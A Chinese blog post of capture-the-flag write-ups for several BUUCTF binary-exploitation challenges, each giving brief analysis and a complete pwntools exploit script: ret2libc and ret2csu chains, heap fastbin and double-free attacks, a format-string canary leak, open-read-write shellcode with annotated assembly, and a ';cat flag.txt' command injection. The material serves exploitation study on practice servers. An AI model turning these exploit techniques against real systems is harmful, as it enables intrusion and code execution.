BUUCTF-pwn(5)

jarvisoj_level4

简单的ret2libc!
在这里插入图片描述

from pwn import *
from LibcSearcher import *
context(log_level='debug',os='linux',arch='i386')

r = remote('node4.buuoj.cn',25768)
#r = process('./level4')
elf = ELF('./level4')
main = elf.symbols['main']
write_plt = elf.plt['write']
write_got = elf.got['write']

payload = b'a'*(0x88+0x4)+p32(write_plt)+p32(main)+p32(1)+p32(write_got)+p32(4)
r.sendline(payload)
write_addr = u32(r.recv(4))

log.info("write_addr -> "+hex(write_addr))
libc = LibcSearcher('write',write_addr)
libc_base = write_addr-libc.dump('write')
system = libc.dump('system')+libc_base
sh = libc.dump('str_bin_sh')+libc_base

payload = b'a'*(0x88+0x4)+p32(system)+p32(main)+p32(sh)
r.sendline(payload)

r.interactive()

jarvisoj_level3_x64

该题目为64位的Return-to-csu!
在这里插入图片描述
并且发现了一个可以传参的目标函数!
在这里插入图片描述
经过精心的构造payload,利用csu函数泄露出libc!

在这里插入图片描述
call qword ptr [r12+rbx*8]这里必须为write_got不可为write_plt,因为这里存在取内容符[]

在这里插入图片描述

from pwn import *
from LibcSearcher import *
context(log_level='debug',os='linux',arch='amd64')

r = remote('node4.buuoj.cn',28341)
#r = process('./level3_x64')
elf = ELF('./level3_x64')
main = elf.symbols['main']
write_plt = elf.plt['write']
write_got = elf.got['write']
pop_rdi = 0x04006b3
pop6_ret = 0x04006AA
csu = 0x0400690
vuln = 0x04005E6

r.recvuntil("Input:\n")
payload = b'a'*(0x80+0x8)+p64(pop6_ret)
payload += p64(0)+p64(1)+p64(write_got)+p64(8)+p64(write_got)+p64(1)
payload += p64(csu)+p64(0)*7+p64(vuln)
r.sendline(payload)

write_addr = u64(r.recvuntil(b'\x7f').ljust(8,b'\0'))
log.info("write_addr -> "+hex(write_addr))
libc = LibcSearcher('write',write_addr)
libc_base = write_addr - libc.dump('write')
system = libc.dump('system')+libc_base
sh = libc.dump('str_bin_sh')+libc_base

r.recvuntil("Input:\n")
payload = b'a'*(0x80+0x8)+p64(pop_rdi)+p64(sh)+p64(system)
r.sendline(payload)

#gdb.attach(r)

r.interactive()

[ZJCTF 2019]EasyHeap

首先分析一番!
在这里插入图片描述
大致逻辑便是我们将magic修改值!满足条件即可获得flag!
在这里插入图片描述
按照原本思路,是修改magic的值,利用后门函数,打印出flag,但是却提示没有文件!

from pwn import *
context(log_level='debug',os='linux',arch='amd64')

r = remote('node4.buuoj.cn',27855)
#r = process('./easyheap')
elf = ELF('./easyheap')
magic = 0x06020C0

def Allocate(size):
    r.recvuntil("Your choice :")
    r.sendline('1')
    r.recvuntil("Size of Heap : ")
    r.sendline(str(size))
    r.recvuntil("Content of heap:")
    r.sendline()

def Edit(index,payload):
    r.recvuntil("Your choice :")
    r.sendline('2')
    r.recvuntil("Index :")
    r.sendline(str(index))
    r.recvuntil("Size of Heap : ")
    r.sendline(str(len(str(payload))))
    r.recvuntil("Content of heap : ")
    r.send(payload)

def Free(index):
    r.recvuntil("Your choice :")
    r.sendline('3')
    r.recvuntil("Index :")
    r.sendline(str(index))

def Exit():
    r.recvuntil("Your choice :")
    r.sendline('4')

def flag():
    r.recvuntil("Your choice :")
    r.sendline('4869')

Allocate(0x60)#0
Allocate(0x60)#1
Allocate(0x60)#2

Free(1)
payload = p64(0)*13+p64(0x71)+p64(magic-0x13)
Edit(0,payload)

Allocate(0x60)#1
Allocate(0x60)#3

payload = p32(0xdeefbeef)*6
Edit(3,payload)

flag()
#gdb.attach(r)

r.interactive()

在这里插入图片描述
那么我们的思路便是将free函数的got值修改为system函数的地址,此时我们往任意chunk写入’/bin/sh’,执行free(chunk)相当于执行system("/bin/sh"),那么我们可以修改heaparray表中储存的chunk的地址为free_got的地址,此时我们便可以修i该free_got了!
在这里插入图片描述

from pwn import *
context(log_level='debug',os='linux',arch='amd64')

r = remote('node4.buuoj.cn',26157)
#r = process('./easyheap')
elf = ELF('./easyheap')
free_plt = elf.got['free']
system = elf.symbols['system']
heaparray = 0x06020E0

def Allocate(size):
    r.recvuntil("Your choice :")
    r.sendline('1')
    r.recvuntil("Size of Heap : ")
    r.sendline(str(size))
    r.recvuntil("Content of heap:")
    r.sendline()

def Edit(index,payload):
    r.recvuntil("Your choice :")
    r.sendline('2')
    r.recvuntil("Index :")
    r.sendline(str(index))
    r.recvuntil("Size of Heap : ")
    r.sendline(str(len(str(payload))))
    r.recvuntil("Content of heap : ")
    r.send(payload)

def Free(index):
    r.recvuntil("Your choice :")
    r.sendline('3')
    r.recvuntil("Index :")
    r.sendline(str(index))

def Exit():
    r.recvuntil("Your choice :")
    r.sendline('4')


Allocate(0x60)#0
Allocate(0x60)#1
Allocate(0x60)#2

Free(1)

payload = p64(0)*13+p64(0x71)+p64(heaparray-0x33)
Edit(0,payload)
log.info("free_plt -> "+hex(free_plt))

Allocate(0x60)#1
Allocate(0x60)#3

payload = b'/bin/sh\0'
Edit(1,payload)
payload = b'a'*0x23+p64(free_plt)
Edit(3,payload)
payload = p64(system)
Edit(0,payload)

Free(1)
#gdb.attach(r)

r.interactive()

bjdctf_2020_babyrop2

程序比较简单!
在这里插入图片描述
但是程序存在一个格式化字符串漏洞!
在这里插入图片描述
接下来有个栈溢出漏洞!
在这里插入图片描述
在这里插入图片描述
这里发现偏移量为6,而canary就位于format下8位!这样就可以泄露出canary,然后使用ret2libc就可以获取控制权了!
在这里插入图片描述

from pwn import *
from LibcSearcher import *
context(log_level='debug',os='linux',arch='amd64')

r = remote('node4.buuoj.cn',26307)
#r = process('./bjdctf_2020_babyrop2')
elf = ELF('./bjdctf_2020_babyrop2')
vuln = elf.symbols['vuln']
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
pop_rdi = 0x0400993

#leak canary
r.recvuntil("I'll give u some gift to help u!\n")
payload = b'%7$p'
r.sendline(payload)
r.recvuntil(b'0x')
canary = int(r.recv(16),16)
log.info("canary -> "+hex(canary))
#leak libc
r.recvuntil("Pull up your sword and tell me u story!\n")
payload = b'a'*(0x20-0x8)+p64(canary)+b'b'*0x8+p64(pop_rdi)+p64(puts_got)+p64(puts_plt)+p64(vuln)
r.sendline(payload)

puts_addr = u64(r.recv(6).ljust(8,b'\0'))
log.info("puts_addr -> "+hex(puts_addr))
libc = LibcSearcher('puts',puts_addr)
libc_base = puts_addr-libc.dump('puts')
system = libc.dump('system')+libc_base
sh = libc.dump('str_bin_sh')+libc_base

r.recvuntil("Pull up your sword and tell me u story!")
payload = b'a'*(0x20-0x8)+p64(canary)+b'b'*0x8+p64(pop_rdi)+p64(sh)+p64(system)+p64(0)
r.sendline(payload)

r.interactive()

hitcontraining_uaf

是个32位的堆利用的题目,难度不大!
在这里插入图片描述
保护也仅仅开启了一个NX保护!并且发现该函数中存在system函数!
在这里插入图片描述
在这里插入图片描述
可以分析得到UAF漏洞并不好利用,但是却可以有double free漏洞!
在这里插入图片描述
然后进行利用攻击!
在这里插入图片描述

from pwn import *
context(log_level='debug',os='linux',arch='i386')

r = remote('node4.buuoj.cn',26270)
#r = process('./hacknote')
elf = ELF('./hacknote')
system = elf.symbols['system']
magic = 0x08048945
bin_sh = 0x08048BD0

def Allocate(size,content):
    r.sendlineafter("Your choice :",'1')
    r.sendlineafter("Note size :",str(size))
    r.sendafter("Content :",content)

def Free(index):
    r.sendlineafter("Your choice :",'2')
    r.sendlineafter("Index :",str(index))

def Print(index):
    r.sendlineafter("Your choice :",'3')
    r.sendlineafter("Index :",str(index))

sh = b'/bin/sh\x00'
Allocate(0x8,sh)#0
Allocate(0x10,sh.ljust(0x16,b'\0'))#1
Allocate(0x8,sh)#2

Free(0)
Free(1)
Free(0)

Allocate(0x10,sh.ljust(0x16,b'\0'))#0
Allocate(0x8,p32(magic)+p32(0))#1
#log.info("system -> "+hex(system))
#log.info("bin-sh -> "+hex(bin_sh))
Print(1)


#gdb.attach(r)
#pause()

r.interactive()

原先想的是修改打印函数地址notelist[i]为system函数,并且写入里面/bin/sh地址,但是这样行不通,而且函数存在后门函数magic,所以直接修改notelist[i]其为magic地址然后打印即可!


pwnable_orw

seccomp相当于内核中的一种安全机制,正常情况下,程序可以使用所有的 syscall,但是当劫持程序流程之后通过 exeve 来呼叫 syscall 得到 shell 时 seccomp 边排上了用场,他可以过滤掉某些 syscall,只允许使用部分 syscall。
在这里插入图片描述
故我们没有办法直接运行system(’/bin/sh’)去取得shell。

int ( int option,unsigned long arg2,unsigned long arg3,unsigned long arg4,unsigned long arg5 )
这个系统调用指令是为进程制定而设计的,由 option 决定做什么,其他的参数取值含义根据 option 而定。

在这里插入图片描述
此时我们使用seccomp-tools工具来查探该文件中所存在的syscall!
此时我们的大致思路为open打开flag文件,然后使用read将flag内容读到内存中,再使用write打印出flag即可!
x86-32的内核传参为eax为syscall_number,ebx,ecx,edx,esi,edp用于将6个参数传递给系统调用。返回值保留再eax中,所有其它寄存(包括EFLAGS)都保留再int 0x80中。

from pwn import *
context(log_level='debug',os='linux',arch='i386')

r = remote('node4.buuoj.cn',25264)
#r = process('./orw')
elf = ELF('./orw')

shellcode = shellcraft.open("flag.txt")
shellcode += shellcraft.read('eax','esp',100)
shellcode += shellcraft.write(1,'esp',100)
shellcode = asm(shellcode)
r.recvuntil("Give my your shellcode:")
r.send(shellcode)

r.interactive()

该方法较为简单,直接使用了pwntools中shellcraft中的模板!
当然也可以编写汇编代码,翻译为机器代码发送执行!

#sys_open(flag,0,0)
xor ecx,ecx;	#此时ecx为0x0
mov eax,0x5;	#设置syscall调用号为0x5(open)
push ecx;		#设置栈顶为\x00结束字符
push 0x67616c66;#设置栈顶为flag,小端序
mov ebx,esp;	#将栈顶数值赋值到ebx上
xor edx,edx;	#设置权限
int 0x80;

#sys_read(3,flag,0x30)
mov eax,0x3;	#设置调用号
mov ecx,ebx;	#将ebx中的flag赋值到ecx中
mov ebx,eax;	#设置文件描述符
mov dl,0x30;	#设置输出字节,dl为数据寄存器
int 0x80;

#sys_write(1,flag,0x30)
mov eax,0x4; 	#设置调用号
mov bl,0x1;  	#设置基址寄存器为0x1
mov edx,0x30 	#设置edx为0x30
int 0x80;


此为pwntools内置模板
/* open(file='flag.txt', oflag=0, mode=0) */
        /* push b'flag.txt\x00' */
        push 1					#入栈0x1
        dec byte ptr [esp]		#将esp栈顶指针减1
        push 0x7478742e			#.txt
        push 0x67616c66			#flag
        mov ebx, esp			#将栈顶元素移入ebx中
        xor ecx, ecx			#将ecx置零
        xor edx, edx			#将edx置零
        /* call open() */
        push 5 /* 5 */			#入栈0x5
        pop eax					#将栈顶元素0x5移入eax中,eax为syscall_number
        int 0x80
        /* read(fd='eax', buf='esp', nbytes=0x64) */
        mov ebx, eax			#将返回值eax移入ebx中
        mov ecx, esp			#将栈顶元素移入ecx中
        push 0x64				#入栈0x64
        pop edx					#将栈顶元素0x64移入edx中
        /* call read() */
        push 3 /* 3 */			#入栈0x3
        pop eax					#将栈顶元素0x3移入eax中
        int 0x80
        /* write(fd=1, buf='esp', n=0x64) */
        push 1					#入栈0x1
        pop ebx					#将栈顶元素0x1移入ebx中
        mov ecx, esp			#将栈顶元素移入ecx中
        push 0x64				#入栈0x64
        pop edx					#将栈顶元素0x1移入edx中
        /* call write() */
        push 4 /* 4 */			#入栈0x4
        pop eax					#将栈顶元素0x4移入eax中
        int 0x80

在这里插入图片描述


bjdctf_2020_router

在这里插入图片描述
在这里插入图片描述

from pwn import *
context(log_level='debug',os='linux',arch='amd64')

r = remote('node4.buuoj.cn',26529)
#r = process('./bjdctf_2020_router')
elf = ELF('./bjdctf_2020_router')

r.recvuntil("Please input u choose:\n")
r.sendline('1')
payload = b';cat flag.txt'
r.recvuntil("Please input the ip address:\n")
r.sendline(payload)

r.interactive();

jarvisoj_test_your_memory

在这里插入图片描述
进入men_test函数中分析!
在这里插入图片描述
但是发现远程中是先输入再输出,这是与本地所不同的地方!题目也是比较简单的!
在这里插入图片描述

from pwn import *
context(log_level='debug',os='linux',arch='i386')

r = remote('node4.buuoj.cn',27694)
#r = process('./memory')
elf = ELF('./memory')
main = elf.symbols['main']
system = elf.symbols['system']
cat_flag = 0x080487E0

payload = b'a'*(0x13+0x4)+p32(system)+p32(main)+p32(cat_flag)
r.sendline(payload)

r.interactive()

posted @ 2021-11-25 20:49  望权栈  阅读(30)  评论(0编辑  收藏  举报  来源